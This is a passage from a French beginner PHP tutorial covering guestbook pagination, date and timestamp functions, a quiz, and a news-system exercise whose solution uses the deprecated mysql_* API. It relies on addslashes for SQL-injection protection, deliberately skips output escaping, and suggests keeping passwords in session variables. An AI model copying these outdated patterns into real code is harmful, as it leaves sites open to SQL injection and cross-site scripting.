En effet, on va faire un ORDER BY id DESC LIMIT ?, ?
Que mettre dans chacun de ces points d'interrogation ?
Le premier point d'interrogation correspond au numéro du premier message à prendre (qui n'a rien
à voir avec l'id). Le premier message a le numéro 0 je vous rappelle. Comme on prend les
messages dans l'ordre décroissant, on commence par le dernier. Si on est sur la page 1, ($page -
1) * $nombreDeMessagesParPage va renvoyer (1-1) * 20 = 0 * 20 = 0. On prendra donc à partir du
message n°0 (le premier quoi), et comme on est dans l'ordre décroissant, ça correspond au tout
dernier message enregistré. Donc, sur la page 1, on affichera en premier le dernier message écrit
dans le livre d'or : exactement ce qu'on voulait !
Pour le second point d'interrogation, c'est facile : il s'agit du nombre d'entrées à récupérer dans la
table, c'est-à-dire $nombreDeMessagesParPage puisqu'on veut prendre juste les X messages de la
page.
3. Ouf, le plus dur est fait. On n'a plus qu'à faire la requête SQL pour prendre juste les messages qu'il faut,
puis à faire une boucle pour afficher les messages de la page.
Eh oui, ce script était un peu plus gros que les autres, d'où l'intérêt de bien le découper en plusieurs parties !
Prenez le temps de bien comprendre comment ce système de pagination fonctionne, croyez-moi ça vaut le coup et
Sur un tel script, on pourrait faire beaucoup d'autres choses. Je vais vous proposer quelques pistes pour améliorer ce
script, mais je ne vous donnerai pas de correction (sinon je m'en sortirai jamais :p).
Je pense que c'est une bonne idée que vous continuiez à réfléchir à l'amélioration du script tous seuls. Mon rôle ici se
limite à vous donner des idées.
Et n'oubliez pas que je ne vous abandonne pas : si vous bloquez sur une amélioration vous pouvez aller demander de
l'aide sur les forums !
Améliorez le design, c'est vraiment super basique ce que j'ai fait comme présentation. C'est facile à faire, ça
demande juste de modifier le code HTML.
Affichez le nombre total de messages postés dans votre livre d'or, c'est pratique de le voir écrit (c'est super
facile à faire, si vous n'y arrivez pas c'est très grave )
Ajoutez une liste déroulante dans votre formulaire. Ce champ permettra au visiteur de choisir une note qu'il
donne à votre site (mettez donc les choix 0 1 2 3 ... 18 19 20).
Ajoutez un champ "note" de type INT à votre table livreor (si vous regardez dans les options de PHPMyAdmin
c'est facile de rajouter un champ même quand la table a été créée).
Comme ça, en plus du message du visiteur, vous affichez la note qu'il a donné à votre site
Mieux, vous faites la moyenne de toutes les notes qu'on a donné à votre site, et vous l'affichez en haut (ex. :
"Note moyenne : 14.6 / 20"). Je vous rappelle que pour trouver la moyenne, il faut faire (note1 + note2 + note3
+ ...) / totalDesMessages
Question sécurité, si on veut vraiment être parfaits, il y a un petit détail que j'ai omis volontairement pour pas
trop compliquer le script. Vous voyez le numéro de page passé par l'adresse avec $_GET['page'] ? Eh bien, si le
visiteur modifie manuellement ce numéro de page, il peut mettre n'importe quoi et même du code HTML !
Bon, dans ce cas c'est pas bien grave, le code HTML ne sera pas affiché et ça fera juste bugger le script. Mais,
pour être "propres", il faudrait utiliser la fonction intval sur $_GET['page'] pour transformer à coup sûr le
numéro de page en un nombre. Donc, il faudrait écrire plutôt la ligne suivante :
Si vous ne le faites pas vous n'allez pas en mourir, mais sachez que les bons codeurs en PHP font ce genre de
choses. Je peux pas vous en vouloir de ne pas l'avoir fait, vous ne connaissiez pas cette fonction
Là, on est vraiment dans le concret des choses : vous êtes aptes à créer des scripts assez importants, comme vous
venez de le voir. Le truc pour pas se perdre, c'est une organisation sans faille : un code bien présenté, avec des
commentaires et des noms de variables clairs.
Vous n'allez pas me croire, mais c'est la clé de tout. Oui oui, un code bien présenté vous permet de ne pas vous noyer,
des commentaires permettent de vous y retrouver.
Prenez ces bonnes habitudes, il va sans dire qu'elles seront tout bonnement indispensables si vous voulez bien
progresser.
Les dates
Plus d'informations
Après ce TP de livre d'or, nous allons faire une pause en passant à quelque chose pas prise de tête : les dates avec
PHP.
On verra d'abord la liste des possibilités de la fonction date, pour récupérer le jour, le mois etc... Oui je sais,
on en avait déjà un peu parlé dans la partie I, c'était pour vous montrer un exemple de fonction toute prête en
PHP. Mais là, on va vraiment détailler toutes les possibilités.
Ensuite, on verra ce qu'on appelle les timestamp, qui nous seront bien utiles pour faire des calculs sur des dates
!
En plus, je vais vous dire quelque chose qui va vous motiver : en maîtrisant les dates, vous aurez le niveau pour
attaquer un TP "Système de news" !
Sommaire du chapitre :
La fonction date
Le timestamp
Q.C.M.
La fonction date
Quand on veut utiliser une date en PHP, c'est une fonction presque incontournable.
En fait, date est une fonction à tout faire : si vous savez bien l'utiliser, vous pourrez afficher n'importe quel élément de
date, dans tous les calendriers du moooonde
Code : PHP
<?php
$jour = date('d');
echo 'Aujourd\'hui, nous sommes le : ' . $jour;
?>
Essayer !
On donne une lettre à la fonction date. Le résultat renvoyé dépend de la lettre que vous donnez à date.
Ici, j'ai mis "d" : ça signifie "Renvoyer le numéro du jour".
Mais... Je pouvais pas deviner moi que "d" signifiait "Renvoyer le numéro du jour" ?!
Non en effet, vous ne pouviez pas deviner
date peut renvoyer beaucoup de valeur différentes, je ne vais pas toutes vous les lister car certaines ne vous seront
vraiment pas utiles.
En voici déjà un bon paquet, et la signification qui va avec :
La colonne Exemple contient les valeurs telles qu'elles sont apparues le lundi 29 Août 2005 à 0h26
Comme vous pouvez le constater, le plus embêtant avec date c'est que la fonction est faite pour... des anglais. Il n'y a
pas moyen qu'elle affiche les jours de la semaine en français
A partir de là, ou vous vous contentez des mots anglais, ou vous créez vous-même une fonction qui transforme les
dates anglaises en français.
Je précise aussi que c'est l'heure du serveur qui est renvoyée, et non pas celle du client. Le serveur du Site du
Zér0 étant basé à Paris, si vous habitez ailleurs dans le monde il ne faut pas vous étonner si les valeurs ne sont pas les
mêmes que chez vous
Bon, avec ce tableau vous avez toutes les informations nécessaires pour travailler sur des dates.
Mais vous n'avez pas encore tout vu : on peut donner plusieurs lettres à la fois à date, comme ceci :
Code : PHP
<?php
echo 'Aujourd\'hui, nous sommes le : ' . date('d/m/Y');
?>
Essayer !
Vous avez peut-être été surpris de voir que je n'ai pas utilisé de variable cette fois pour la concaténation. C'est
normal : j'ai tout à fait le droit d'utiliser directement une fonction au beau milieu d'une concaténation comme je viens
de faire.
date a créé une chaîne de caractères qui contient jour/mois/année. En fait, vous pouvez mettre ce que vous voulez
dans date, dès que la fonction rencontre une lettre qu'elle connaît elle la remplace par la valeur correspondante.
Cela veut dire que vous pouvez mettre des espaces, des tirets, ou des slashs comme j'ai fait pour séparer les éléments
de date. C'est pratique, ça nous permet de n'avoir à appeler la fonction qu'une seule fois
Et si je veux écrire la lettre H dans date sans que cette lettre soit remplacée par l'heure ?
Bah là, c'est délicat : il va falloir mettre un antislash \ devant chaque lettre que vous ne voulez pas voir remplacée.
Par exemple :
Code : PHP
<?php
echo 'Il est ' . date('H \H\e\u\r\e\s');
?>
Essayer !
Dans cet exemple 3.4.3, la fonction date est interprétée comme ceci :
Comme vous pouvez le constater, il est plus simple de faire un echo pour écrire "Heures", mais cette technique pourra
vous être utile à l'occasion, donc je vous l'apprends
C'est tout pour date, il n'y a pas grand chose d'autre à redire dessus, c'est tout simple à utiliser !
Le timestamp
Bon, jusqu'ici il n'y avait rien de bien extraordinaire. Vous avez juste vu que PHP savait donner tout ce dont vous avez
besoin pour afficher la date.
Mais vous n'avez pas vu le plus intéressant : le timestamp.
Récupérer le timestamp
Pourquoi depuis le 1er Janvier 1970 à Minuit ? C'est symbolique, il fallait bien prendre un point de départ.
En fait, ça représente le début de l'époque où le système d'exploitation Unix a été créé. Peut-être avez-vous déjà
entendu parler de Unix ? Il est à la base de Linux, un système d'exploitation comme Windows (sauf qu'il est gratuit,
mais ne nous égarons pas ).
Bref, le 1er Janvier 1970 à Minuit, le timestamp avait pour valeur 0. Aujourd'hui, beaucoup beaucoup de secondes se
sont écoulées, vous devez vous en douter.
Pour connaître le timestamp actuel en PHP, on utilise la fonction time (qui n'a besoin d'aucun paramètre) :
Code : PHP
<?php
echo 'Le timestamp actuel est : ' . time();
?>
Essayer !
Si vous vous amusez à recharger la page chaque seconde, vous allez voir que le timestamp n'arrête pas d'augmenter.
Eh oui, le timestamp est un nombre qui devient chaque seconde plus gros !
Bon, à partir de là vous devez vous dire que le timestamp, c'est bien rigolo, mais ça sert pas à grand chose.
Faux : au contraire ça va vous être très utile, nous allons voir pourquoi...
Il est possible de fournir un second paramètre à date (après les lettres) : le timestamp sur lequel vous voulez obtenir
des informations.
Par défaut, date utilise le timestamp actuel : elle renvoie donc l'heure actuelle, le jour actuel etc... Mais si vous lui
donnez un timestamp, elle fera des calculs sur ce moment-là.
Allez, pour faire un test grandeur nature, je vous donne en =>exclusivité mondiale<= le timestamp qu'il était au
moment où j'ai écrit ces lignes
Code : PHP
<?php
$timestamp = 1080513608; // C'est l'heure qu'il était quand j'écrivais le tutoriel !
?>
<ul>
<li>M@teo a écrit ces lignes le <?php echo date('d/m/Y', $timestamp); ?></li>
<li>Ce jour-là était un <?php echo date('l', $timestamp); ?> (désolé, c'est en anglais ;o)
<li>Il était exactement : <?php echo date('H\h i\m\i\n
s\s', $timestamp); ?> (rhoo l'insomniaque !)</li>
<li>Il y avait <?php echo date('t', $timestamp); ?> jours ce mois-ci.</li>
<li>C'était le <?php echo date('z', $timestamp); ?>ème jour de l'année !</li>
</ul>
Essayer !
Pour l'affichage du jour en anglais, ne confondez pas : il s'agit d'un L minuscule et non pas du chiffre 1 !
La différence par rapport à ce qu'on a vu au début de ce chapitre, c'est qu'on a donné un deuxième paramètre à la
fonction date : ce paramètre, c'est un timestamp. En gros, quand on fait :
... alors là on dit à PHP "Affiche-moi le numéro du jour qu'il était au moment de ce timestamp"
Enfin, une dernière chose qu'il peut être très utile de savoir faire : vous aimeriez connaître le timestamp qu'il était le 5
Février 1998 à 13h 45min 26s (très précisément :p).
Pour récupérer le timestamp correspondant, on va utiliser la fonction mktime. On va lui donner en paramètre une
date, et elle va nous ressortir le timestamp correspondant.
Cette fonction peut prendre pas mal de paramètres, en voici la liste dans l'ordre :
Dans la pratique, vous pouvez oublier le dernier paramètre (heure d'hiver) qui ne vous sera pas utile en général. Sachez
qu'il faut mettre 1 si l'heure d'hiver est activée, 0 si elle ne l'est pas.
Mais passons. Si on enlève l'heure d'hiver pour éviter de s'embrouiller, il reste 6 paramètres possibles qu'on retiendra :
Pour bien comprendre, voici un exemple. Je veux toujours le timestamp du 5 Février 1998 à 13h 45min 26s (oui je suis
têtu ), je vais écrire le code suivant :
Code : PHP
<?php
$vieux_timestamp = mktime(13, 45, 26, 2, 5, 1998);
echo 'Le timestamp du 05/02/1998 à 13h 45min 26s était :
' . $vieux_timestamp;
?>
Essayer !
Attention, les anglais n'écrivent pas leurs dates au format jour/mois/an mais au format mois/jour/an !
C'est source de confusion : si vous regardez bien l'exemple ci-dessus, j'ai mis le mois avant le jour dans la liste des
paramètres !
Si vous ne voulez pas renseigner l'heure, mais que vous voulez juste obtenir le timestamp d'une date... ce n'est pas
possible (il y a plein de timestamp différents dans une journée je vous rappelle !)
La solution communément employée, c'est de se baser sur Minuit :
C'est le timestamp du 5 Février 1998 à Minuit. Ce n'est peut-être pas aussi "précis" que l'exemple du dessus me
On veut retrouver le nom du jour où vous êtes né. On va pour cela créer un formulaire pour récupérer 3 variables : le
jour, le mois, et l'année de naissance.
Avec mktime, on récupère le timestamp correspondant.
A partir de là, on a plusieurs possibilités pour la fonction date :
Vous vous en doutez, on va utiliser la seconde solution (en plus comme ça vous allez comprendre comment on fait pour
"traduire" la date en français).
L'idée est la suivante : on va créer un array qui associera le numéro 0 au texte "Dimanche", le numéro 1 au texte
"Lundi" etc... Revoyez le début du chapitre sur les array si vous avez oublié, c'est vraiment tout simple.
Après, vu qu'on a le numéro du jour, on donne ce numéro à l'array et on récupère le nom du jour en français qui
correspond !
Code : PHP
<?php
if (isset($_POST['jour']) AND isset($_POST['mois']) AND isset($_POST['an']))
{
// Le visiteur vient d'entrer sa date de naissance, on va calculer le jour qu'il éta
// On crée un array pour numéroter les jours (0 => Dimanche, 1 => Lundi...)
$jours = array('Dimanche', 'Lundi', 'Mardi', 'Mercredi', 'Jeudi', 'Vendredi', 'Samedi'
// On récupère le nom du jour en français grâce à l'array qu'on vient de créer
$jour_naissance = $jours[$numero_jour];
Essayer !
On a $numero_jour. On donne ce numéro à notre array $jours, et ça nous ressort le texte qui correspond à ce numéro.
Par exemple, si le numéro du jour est 2, alors $jour_naissance aura pour valeur "Mardi" !
Si ce petit code arrive à faire quelque chose d'assez impressionnant, il a un sacré défaut : il ne fonctionne pas
si vous êtes né avant 1970 !
En effet, le timestamp n'existe que depuis le 1er janvier 1970, donc si vous tapez 1969 ça ne marchera pas.
A noter que certains systèmes, eux, génèrent un nombre négatif. Cela dépend de plusieurs facteurs, mais sachez, par
exemple, que PHP gère cela de manière générale, mais MySQL non. En bref, évitez d'utiliser le timestamp pour des
dates antérieures à 1970.
Par ailleurs, il est bon de savoir que le timestamp devient de plus en plus gros, et ce nombre sera tellement gros en
2037 que ça ne marchera plus. En clair, le timestamp fonctionne donc entre 1970 et 2037 !
Q.C.M.
Il est minuit. Que renvoie date dans ce cas ? (vous avez le droit de vous servir du tableau plus haut)
Code : PHP
date('H \H');
H0
00 H
0H
L'heure actuelle
<?php
date('d/m/Y');
?>
date('\d/\m/\Y');
date('d, m, Y');
date('d/m/Y', time());
Si ma variable $timestamp contient le timestamp du 28 Février d'une année bissextile à Minuit, que va renvoyer date
dans ce cas ?
Code : PHP
<?php
date('t', $timestamp);
?>
28
29
30
Qu'affiche ce code ?
Code : PHP
<?php
$timestamp1 = mktime(0, 0, 0, 11, 21, 2006);
$timestamp2 = mktime(0, 0, 0, 11, 22, 2006);
$timestamp_calcul = ($timestamp2 - $timestamp1) / (60 * 60 * 24);
echo $timestamp_calcul;
?>
-1
Correction !
Voilà tout à fait le genre de chapitre que je prends plaisir à rédiger : c'est assez facile à comprendre et pourtant riche
en informations. Vous en apprenez beaucoup, et c'est d'autant plus intéressant quand on sait que ça va nous être utile
tout de suite.
Eh oui, ladies and gentlemen, nous allons maintenant passer au TP que vous attendiez tous : un système de news pour
votre site !
Plus d'informations
Vous avez largement le niveau pour réaliser ce script. Vous allez réutiliser un peu tout ce que vous avez appris, mais il
n'y aura rien de difficile ni de nouveau, je tiens à vous le dire de suite
Avant de lire ce chapitre, je vous invite à aller consulter l'annexe "Protéger un dossier avec un .htaccess". Vous
apprendrez rapidement comment on peut protéger tous les fichiers d'un dossier par login / mot de passe.
On aurait pu utiliser la protection par mot de passe que je vous ai apprise dans le premier TP, mais pour ce
script on va créer plusieurs pages PHP.
Allons-y !
Etape 1 : prérequis
Travailler avec une base de données (ça c'est pratiquement indispensable tout le temps maintenant !)
Travailler avec des formulaires (revoyez le chapitre correspondant au besoin).
Travailler avec les dates et les timestamp.
Il faut maintenant s'interroger sur le fonctionnement du script de news. Tout d'abord, une question un peu "nouvelle" :
combien de pages PHP va-t-on devoir créer ?
Jusqu'ici, on a fait tenir nos scripts sur une seule page. Ici, on aurait aussi pu le faire, mais elle serait devenue trop
grosse et ça aurait compliqué les choses pour rien.
On va donc "séparer" notre script en plusieurs pages pour que notre travail soit plus clair.
L'affichage des news : ce script affichera par exemple les 5 dernières news sur votre page d'accueil. C'est un
script très simple à réaliser (une requête dans la base de données et c'est bon).
En général, l'affichage des news se fait dans le fichier d'accueil de votre site (index.php).
L'administration : elle comprend 2 pages PHP depuis lesquelles on peut ajouter, modifier, supprimer des news.
Ces pages doivent être protégées par .htaccess (cf. Annexes) pour éviter que n'importe qui puisse s'amuser à
écrire des news. Les 2 pages que l'on va créer sont les suivantes :
liste_news.php : cette page liste toutes les news enregistrées dans la base de données, et vous propose
pour chacune d'elles de la modifier ou de la supprimer. Il doit aussi y avoir un lien en gros pour "Ajouter
une news", qui amène vers la page rediger_news.php.
Voici un aperçu de cette page :
rediger_news.php : cette page est en fait un petit formulaire dans lequel on va rédiger les news. On
aura juste besoin d'écrire le titre d'une part, et le texte de la news d'autre part.
Voici un aperçu de cette page :
Si on fait un petit schéma pour l'organisation des fichiers, ça donne quelque chose comme ça :
Comme vous pouvez le voir, il y aurait 4 fichiers dans le dossier "admin" : le .htaccess et le .htpasswd pour la
protection par mot de passe (ça c'est expliqué dans l'annexe sur les .htaccess), et les 2 fichiers d'administration :
liste_news.php et rediger_news.php
Enfin, le fichier index.php est le fichier d'accueil de votre site et contient les quelques lignes de code pour l'affichage
des dernières news à vos visiteurs.
Maintenant, voyons voir la structure de la table. Je vous propose de créer une table appelée "news", qui contiendra les
champs suivants :
On a besoin comme d'habitude d'un champ "id" en auto-increment, mais aussi de champs pour le "titre" et le "contenu"
de la news.
Enfin, on a un champ "timestamp" qui nous permettra de stocker le timestamp du moment où la news a été postée.
Comme on l'a vu dans le chapitre sur les dates, on pourra ressortir toutes les informations qu'on veut à partir de ce
timestamp (le jour, l'heure...).
Le lien "Ajouter une news" sur la page liste_news.php est un lien HTML normal qui amène vers
rediger_news.php
Sur la page liste_news.php, si on clique sur "Modifier" pour une news, ça amène vers la page rediger_news mais
cette fois avec un paramètre qui indique l'id de la news à modifier. Par exemple, pour la news n°3, le lien
serait :
rediger_news.php?modifier_news=3
Pensez à pré-remplir les champs "titre" et "contenu" si c'est une modification de news !
Sur la page liste_news.php toujours, si on clique sur "Supprimer" pour une news, ça recharge la page liste_news
avec un paramètre qui indiquera qu'il faut supprimer une news. Par exemple, le lien pour la news dont le n°
d'id est 3 sera :
liste_news.php?supprimer_news=3
Lorsqu'on validera le formulaire de rediger_news.php, le mieux est de retourner sur la page liste_news.php. La balise
du formulaire sera donc :
Dans liste_news.php, on vérifiera si les variables $_POST['titre'] et $_POST['contenu'] existent : ça voudra dire alors
qu'il faut enregistrer des informations dans la base de données.
Dans le formulaire, je vous conseille de créer un champ caché (input type="hidden") qui retiendra l'id de la
news que l'on est en train de modifier. Si c'est une nouvelle news, mettez la valeur 0.
Ainsi, quand on traitera les informations dans liste_news.php, on pourra vérifier si c'est une nouvelle news ou pas :
Le champ caché a pour valeur 0 : c'est une nouvelle news. On fait donc un INSERT INTO.
Le champ caché a une autre valeur que 0 : c'est qu'on est en train de modifier une news. Dans ce cas, on fait un
UPDATE de la news correspondante.
Voilà, on a tout vu... sauf 3 petites fonctions qu'il va falloir penser à utiliser : nl2br, addslashes et stripslashes :
nl2br : comme on l'a vu, ça sert à vous épargner de taper les retours à la ligne en HTML. Faites un nl2br juste
avant l'affichage des news pour convertir les Entrées en balises <br />
addslashes : en fait, il n'est pas toujours obligatoire d'utiliser cette fonction selon votre hébergeur. Mais il vaut
mieux prendre la bonne habitude de l'utiliser. Donc, AVANT d'enregistrer le titre et le contenu de la news, vous
leur appliquez un addslashes qui va rajouter des \, ce qui vous épargnera d'avoir des "bugs" (MySQL n'aime pas
trop les apostrophes en particulier).
stripslashes : cette fonction fait l'inverse. Utilisez-la juste avant l'affichage du titre et du contenu de la news
pour éviter que l'on voie les antislashs.
Vous aurez besoin de ces fonctions notamment dans la page qui affiche les news à vos visiteurs (index.php).
Gardez toujours à l'esprit quand vous rédigez une news que vous pouvez taper du code HTML. On ne fera pas de
htmlspecialchars ni de mysql_real_escape_string cette fois car vous serez le seul à rédiger des news (vous n'allez pas
hacker votre propre site quand même ? )
Allez, au boulot !
Le script n'est pas spécialement compliqué. Il aurait pu être beaucoup plus compliqué, mais j'ai préféré garder
uniquement les fonctions "vitales" : ajouter, modifier, supprimer une news.
Vu qu'il y a plusieurs pages, je vous conseille de bien vous organiser et SURTOUT de réfléchir un peu à votre script
avant de commencer à coder comme des barbares
Ca vous évitera de vous emmêler les pinceaux, et votre code n'en sera que plus clair
Ah, et j'allais oublier un détail : quand vous modifiez une news, ne mettez pas à jour le timestamp. On garde la date
de création de la news.
Etape 4 : correction
... Voilà maintenant 3 jours et 3 nuits que vous codez sans relâche, sans manger ni boire ni dormir...
Tout ça par ma faute
Bon, on a 3 pages à corriger. On commence par la plus simple de toutes : index.php, c'est la page d'accueil de votre
site où on affiche les news.
Code : PHP
<body>
<h1>Bienvenue sur mon site !</h1>
<p>Voici les dernières news :</p>
<?php
mysql_connect("localhost", "sdz", "mot_de_passe");
mysql_select_db("coursphp");
// On récupère les 5 dernières news
$retour = mysql_query('SELECT * FROM news ORDER BY id DESC LIMIT 0, 5');
while ($donnees = mysql_fetch_array($retour))
{
?>
<div class="news">
<h3>
<?php echo $donnees['titre']; ?>
<em>le <?php echo date('d/m/Y à
H\hi', $donnees['timestamp']); ?></em>
</h3>
<p>
<?php
// On enlève les éventuels antislash PUIS on crée les entrées en
HTML (<br />)
$contenu = nl2br(stripslashes($donnees['contenu']));
echo $contenu;
?>
</p>
</div>
<?php
} // Fin de la boucle des news
?>
</body>
</html>
Essayer !
Il n'y a rien de très surprenant : la requête est simple, vous avez déjà vu pire
On fait une boucle pour afficher les 5 dernières news.
J'ai calculé la date à partir du timestamp : j'ai extrait la date et l'heure. Il y a quelques caractères comme le "à" que
j'ai écrit dans la fonction date (j'ai mis un antislash \ devant pour qu'il fonctionne).
Enfin, j'ai fait des stripslashes pour enlever les antislashs du titre et du contenu.
Sur une ligne, vous pouvez même repérer que j'ai "combiné" la fonction stripslashes avec nl2br : on a tout a fait le
droit
Code : PHP
<body>
//--------------------------------------------------------
// Vérification 2 : est-ce qu'on veut supprimer une news ?
//--------------------------------------------------------
if (isset($_GET['supprimer_news'])) // Si on demande de supprimer une news
{
// Alors on supprime la news correspondante
// On protège la variable "id_news" pour éviter une faille SQL
$_GET['supprimer_news'] = addslashes($_GET['supprimer_news']);
mysql_query('DELETE FROM news WHERE
id=\'' . $_GET['supprimer_news'] . '\'');
}
?>
<table><tr>
<th>Modifier</th>
<th>Supprimer</th>
Essayer !
Je rappelle que sur la version de test (cf lien "Essayer !"), j'ai volontairement désactivé les fonctions d'ajout,
d'édition et de suppression des news, afin d'éviter que tout le monde fasse n'importe quoi avec
Si vous voulez vraiment tester ce script, créez les fichiers PHP sur votre disque dur
Vérification 1 : on vérifie si on veut poster une news. Si la page rediger_news.php nous a envoyé des
informations, c'est qu'on doit poster une news.
On applique d'abord un addslashes au titre et au contenu pour éviter les bugs comme je vous l'ai dit. Puis, on
vérifie la valeur de id_news :
Si c'est 0, c'est que c'est une nouvelle news donc on fait un INSERT INTO.
Si c'est autre chose que 0, alors on modifie juste la news correspondant à cet id.
Vérification 2 : on vérifie si on n'a pas cliqué sur un lien "Supprimer". Si c'est le cas, alors on supprime la news
correspondante.
Après, c'est une simple boucle pour lister tous les titres des news dans un tableau.
Code : PHP
<body>
<h3><a href="liste_news.php">Retour à la liste des news</a></h3>
<?php
mysql_connect("localhost", "sdz", "mot_de_passe");
mysql_select_db("coursphp");
if (isset($_GET['modifier_news'])) // Si on demande de modifier une news
{
// On protège la variable "modifier_news" pour éviter une faille SQL
$_GET['modifier_news'] = mysql_real_escape_string(htmlspecialchars($_GET['modifier_news'
// On récupère les infos de la news correspondante
$retour = mysql_query('SELECT * FROM news WHERE id=\'' . $_GET['modifier_news'] .
$donnees = mysql_fetch_array($retour);
Essayer !
Là, on vérifie d'abord si on doit modifier une news ou en écrire une nouvelle.
On prépare des variables : comme ça, les champs seront vides si c'est une nouvelle news, ou seront remplis avec le
texte de l'ancienne news si c'est une modification.
Notez que le champ caché appelé "id_news" est très important. C'est lui qui nous permettra de savoir dans
liste_news.php si on a affaire à un ajout ou à une modification de news.
Une fois n'est pas coutume, je vais vous dire que mon script est en fait le minimum, et qu'on pourrait trouver des
tonnes de façons de l'améliorer !
Voici quelques pistes pour que vous continuiez à vous creuser encore un peu les méninges :
Le design, comme d'habitude, est minimaliste. Il vous sera très facile de changer le design, vu que ça requiert
une simple modification du code HTML.
Vous pourriez rajouter un champ dans la table "news" qui s'appellerait "timestamp_modification". Ce champ
contiendrait le timestamp de la dernière modification.
Rajoutez aussi un champ "pseudo" qui contiendrait le pseudo de la personne qui a posté la news. Il vous faudra
rajouter un champ dans le formulaire (à côté du titre par exemple) pour que l'on puisse indiquer son pseudo.
Il serait bien aussi que vos visiteurs puissent proposer des news. Créez une nouvelle page, "proposer_news.php"
par exemple, accessible par tout le monde (pas de protection par .htaccess vu que tous vos visiteurs doivent
pouvoir proposer des news).
Les news proposées seraient automatiquement inscrites dans la tables "news", mais non validées (pour qu'elles
ne s'affichent que si vous avez donné votre accord ). Pour gérer la validation des news, vous pouvez ajouter
(encore) un nouveau champ dans la table appelé "valide" :
S'il vaut 1, la news est validée, elle est affichée.
S'il vaut 0, la news n'est pas encore validée, elle n'est donc pas affichée dans index.php
Il faudrait aussi prévoir un système de pagination, comme on a fait pour le livre d'or. En effet, lorsque vous
aurez 200 news, ça va être un peu lourd à charger sur votre page d'admin.
Par ailleurs, si vous réalisez un système de pagination pour liste_news.php, vous pourriez aussi en faire un dans
une page "archives.php" accessible par tous vos visiteurs, où les anciennes news seraient lisibles
Une autre chose qui serait intéressante : réaliser des commentaires de news. Pour cela, vous aurez besoin de
créer une nouvelle table "commentaires", dans laquelle il y aurait 2 id :
Un premier "id" normal, correspondant à l'id du commentaire (en auto_increment).
Un second champ, "id_news" qui contient le numéro d'id de la news à laquelle correspond le
commentaire.
Ainsi, pour obtenir tous les commentaires de la news n°3, vous feriez la requête SQL :
Voilà voilà, ce ne sont que des suggestions, mais si vous voulez vous améliorer, je vous recommande fortement
d'essayer d'en faire quelques-unes
N'oubliez pas que le forum est à votre disposition si vous avez un problème !
Et voilà, le TP news touche à sa fin. N'hésitez pas à y passer un peu de temps, car c'est vraiment un script PHP
incontournable !
Par ailleurs, comme vous pouvez le voir, il y a des tonnes de façons d'améliorer le script.
Bien entendu, ne commencez à améliorer le script uniquement lorsque vous avez parfaitement compris mon code
source de correction.
Je sais qu'il n'est pas facile à première vue de se "plonger" dans le code source de quelqu'un d'autre, mais vous devez
faire ce petit effort. C'est dans ce genre de TP que vous en apprenez le plus sur PHP
Au fait, ma correction n'est qu'une possibilité parmi d'autres. Si vous avez trouvé un autre moyen de faire qui ne
ressemble pas au mien, gardez-le. Chacun code à sa manière, je ne voudrais pas non plus vous imposer ma façon de
coder
Plus d'informations
Dans ce chapitre, nous allons travailler sur ce qu'on appelle les variables "superglobales".
A votre niveau, il devient important de savoir qui elles sont et comment on peut les utiliser. Vos scripts vont
énormément gagner en puissance grâce à ces variables.
Je vais vous présenter les superglobales, pour que vous sachiez ce que c'est exactement.
Ensuite, je vous montrerai le fonctionnement de 2 variables superglobales (les plus intéressantes) :
Nous étudierons les sessions, un système puissant et facile à utiliser dont vous allez sûrement vous servir
sur votre site.
Enfin, nous étudierons les cookies qui, pour ceux qui ne le savent pas déjà, permettent de conserver des
informations sur un visiteur même lorsqu'il a quitté votre site.
Bonne lecture !
Sommaire du chapitre :
Ces variables un peu "spéciales" sont faciles à reconnaître. Voici 3 points pour les identifier :
Elles sont écrites en majuscules et commencent toutes par un underscore _ (le trait de soulignement).
$_GET et $_POST ça vous dit quelque chose ? Eh oui, ce sont ce qu'on appelle des variables superglobales, et
vous les avez déjà utilisé de nombreuses fois
Autre point important : les superglobales sont toutes des array.
Pour ceux qui auraient un petit trou de mémoire, les array sont des variables sous forme de "tableau",
facilement reconnaissables grâce aux crochets (ex : $_GET['page']).
Revoyez le chapitre sur les array de la partie I si vous en avez vraiment besoin
Enfin, ces variables sont automatiquement créées par PHP à chaque fois qu'une page est chargée. Ces variables
existent donc sur toutes les pages et sont accessibles partout : au milieu de votre code, au début, dans les
fonctions etc...
Bien, maintenant que vous savez les repérer, que diriez-vous si je vous listais toutes les superglobales qui existent en
PHP ?
Il existe d'autres superglobales en PHP, en plus de $_GET et $_POST. Soyons francs : il y en a qui vont beaucoup nous
intéresser, mais il y en a aussi qu'on ne touchera jamais
La documentation de PHP nous avertit clairement que vous ne pouvez pas vous fier à 100% à
$_SERVER['HTTP_REFERER'] car le client peut très facilement refuser d'envoyer cette information ou
même la modifier.
Bref, n'ayez pas trop confiance en elle.
$_SERVER['REMOTE_ADDR'] : sans aucun doute l'information la plus intéressante de $_SERVER. Elle nous
donne l'adresse IP du client qui a demandé à voir la page.
On se servira de cette variable plusieurs fois dans les prochains TP (pour repérer un même visiteur), donc
souvenez-vous qu'elle existe !
$_ENV : ce sont des variables d'environnement, toujours données par le serveur. Plus précisément, le système
d'exploitation (Linux) donne ces informations.
Mais bon, il n'y a rien de vraiment bien utile et de toute façon je suis incapable de vous donner une liste de ce
que renvoit cette superglobale. Donc on l'oublie
$_GET : vous la connaissez bien, c'est elle qui vous donne les valeurs des informations indiquées dans l'url.
Par exemple, si la page appelée est :
En clair, si je résume : on connaît déjà $_GET et $_POST, on retient que $_SERVER['REMOTE_ADDR'] donne l'adresse IP
du visiteur, et on se prépare à étudier $_SESSION et $_COOKIE dans la suite de ce chapitre
Les sessions
Les sessions sont un moyen de conserver des variables sur toutes les pages de votre site.
Jusqu'ici, on était arrivés à passer des variables de page en page via la méthode GET (en modifiant l'url :
page.php?variable=valeur) et via la méthode POST (un formulaire quoi).
Mais si on veut transmettre une ou plusieurs variables sur TOUTES les pages de son site, c'est vraiment la galère avec
GET et POST... D'où l'invention des sessions.
Comment ça marche ?
1. Un visiteur se connecte. On demande à créer une session pour lui : PHP génère un numéro. Pour cela, on utilise
la fonction session_start(). Ce numéro est souvent très gros et écrit en hexadécimal. Par exemple :
a02bbffc6198e6e0cc2715047bc3766f
Ce numéro sert d'identifiant et est appelé "ID de session" (ou PHPSESSID). PHP transmet
automatiquement cet ID de page en page en utilisant un cookie ou via l'url (ex :
mapage.php?PHPSESSID=a02bbffc6198e6e0cc2715047bc3766f).
2. A partir de là, c'est du tout bon : on peut créer une infinité de variables de session. Par exemple :
$_SESSION['login'] contient le login du visiteur, $_SESSION['password'] contient le mot de passe etc...
L'avantage, c'est que le serveur conserve ces variables même lorsque la page PHP a fini d'être générée. Ce
